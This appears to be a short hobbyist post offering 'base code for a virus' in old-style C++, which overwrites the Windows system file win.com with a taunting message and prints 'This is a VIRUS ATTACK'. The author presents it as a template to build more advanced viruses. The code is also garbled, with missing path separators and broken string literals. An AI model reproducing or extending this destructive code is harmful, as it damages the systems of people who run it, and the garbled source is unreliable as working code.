This is a fairly old silly base code for a virus. I used this for some of my more advanced virus's but this is basically...the base, lol. Its tarts off as just a popup that really never goes away, but you can turn it into just about anything you want. Enj

#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;
if ((handle = open("C:windowswin.com", O_WRONLY | O_CREAT |
O_TRUNC,
S_IREAD | S_IWRITE)) == -1)
{
printf("Error opening file.
");
exit(1);
}
strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
length = strlen(string);
if ((res = write(handle, string, length)) != length)
{
printf("Error writing to the file.
");
getch();
exit(1);
}
printf("
Wrote %d bytes to the file.
", res);
cout<<"
Hello !!!!!!!!";
cout<<"
This is a VIRUS ATTACK !!!";
cout<<"
This execution currupt your WINDOWS !!!!!!
";
close(handle);
getch();
return 0;
}
